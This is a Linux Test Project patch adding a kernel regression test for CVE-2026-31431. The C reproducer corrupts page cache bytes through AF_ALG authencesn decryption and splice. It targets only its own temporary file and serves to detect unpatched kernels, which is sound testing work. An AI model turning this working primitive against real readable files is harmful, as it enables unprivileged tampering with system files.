[LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer

Andrea Cervesato andrea.cervesato@suse.de
Thu Apr 30 12:17:14 CEST 2026


From: Andrea Cervesato <andrea.cervesato@suse.com>

A logic bug in authencesn allows an unprivileged user to corrupt
4 bytes of page cache via AF_ALG + splice. The test writes known
data to a file, attempts corruption through the AEAD scratch-write
path, and verifies whether the file content was modified.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2026-31431.c | 172 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 174 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index c3ecd74dd9f837924b810b7b431ebb911d809966..499cbb3bc4170453560c329133e2c52b5a3b8c5c 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
 cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
+cve-2026-31431 cve-2026-31431
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..f8e2b7a7d0a6c0c32f8908ae9974ead6a57f358b 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -15,3 +15,4 @@ icmp_rate_limit01
 tcindex01
 cve-2025-38236
 cve-2025-21756
+cve-2026-31431
diff --git a/testcases/cve/cve-2026-31431.c b/testcases/cve/cve-2026-31431.c
new file mode 100644
index 0000000000000000000000000000000000000000..b762096c1ecb940267ab2a337130939763f75452
--- /dev/null
+++ b/testcases/cve/cve-2026-31431.c
@@ -0,0 +1,172 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
+ * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
+ *
+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
+ * into the page cache of any readable file. During AEAD decryption,
+ * authencesn uses the destination scatterlist as scratch space for ESN byte
+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the
+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the
+ * writable destination scatterlist. authencesn's scratch write then corrupts
+ * those pages.
+ *
+ * The test creates a file with known data, attempts page cache corruption via
+ * the AF_ALG + splice technique, and verifies whether the file content was
+ * modified.
+ *
+ * Reproducer based on:
+ * https://github.com/theori-io/copy-fail-CVE-2026-31431
+ */
+
+#include "tst_test.h"
+#include "tst_af_alg.h"
+#include "lapi/socket.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "copy_fail"
+#define OVERWRITE_SIZE 4
+#define AEAD_AUTHSIZE 4
+#define AEAD_ASSOCLEN 8
+#define AES_IV_SIZE 16
+#define SPI_SIZE 4
+
+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
+
+/*
+ * authenc key format: struct rtattr header (8 bytes) +
+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
+ */
+static const uint8_t authenc_key[] = {
+	0x08, 0x00, 0x01, 0x00,
+	0x00, 0x00, 0x00, 0x10,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static void try_corrupt(int fd)
+{
+	int algfd, reqfd, pipefd[2];
+	loff_t off_in = 0;
+	uint8_t aad[AEAD_ASSOCLEN];
+	uint8_t iv[AES_IV_SIZE] = { 0 };
+	struct af_alg_iv *alg_iv;
+	struct cmsghdr *cmsg;
+	char recvbuf[AEAD_ASSOCLEN];
+
+	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
+	memset(aad, 'A', SPI_SIZE);
+	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
+
+	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
+			      authenc_key, sizeof(authenc_key));
+	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
+			AEAD_AUTHSIZE);
+
+	reqfd = tst_alg_accept(algfd);
+
+	struct iovec iov = {
+		.iov_base = aad,
+		.iov_len = sizeof(aad),
+	};
+
+	uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
+		     CMSG_SPACE(sizeof(struct af_alg_iv) + AES_IV_SIZE) +
+		     CMSG_SPACE(sizeof(uint32_t))];
+
+	memset(cbuf, 0, sizeof(cbuf));
+
+	struct msghdr msg = {
+		.msg_iov = &iov,
+		.msg_iovlen = 1,
+		.msg_control = cbuf,
+		.msg_controllen = sizeof(cbuf),
+	};
+
+	cmsg = CMSG_FIRSTHDR(&msg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_OP;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
+	*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
+
+	cmsg = CMSG_NXTHDR(&msg, cmsg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_IV;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AES_IV_SIZE);
+	alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
+	alg_iv->ivlen = AES_IV_SIZE;
+	memcpy(alg_iv->iv, iv, AES_IV_SIZE);
+
+	cmsg = CMSG_NXTHDR(&msg, cmsg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
+	*(uint32_t *)CMSG_DATA(cmsg) = AEAD_ASSOCLEN;
+
+	SAFE_SENDMSG(sizeof(aad), reqfd, &msg, MSG_MORE);
+
+	SAFE_PIPE(pipefd);
+
+	TEST(splice(fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
+
+	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
+
+	/* Expected to fail (invalid ciphertext); triggers the scratch write */
+	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
+
+	SAFE_CLOSE(pipefd[0]);
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_CLOSE(reqfd);
+	SAFE_CLOSE(algfd);
+}
+
+static void run(void)
+{
+	int file_fd;
+	uint8_t readback[OVERWRITE_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt(file_fd);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
+		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+}
+
+static void setup(void)
+{
+	int fd;
+
+	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_tmpdir = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a664bf3d603d"},
+		{"CVE", "2026-31431"},
+		{}
+	},
+};

---
base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
change-id: 20260430-cve-2026-31431-eda4297d56bc

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>



More information about the ltp mailing list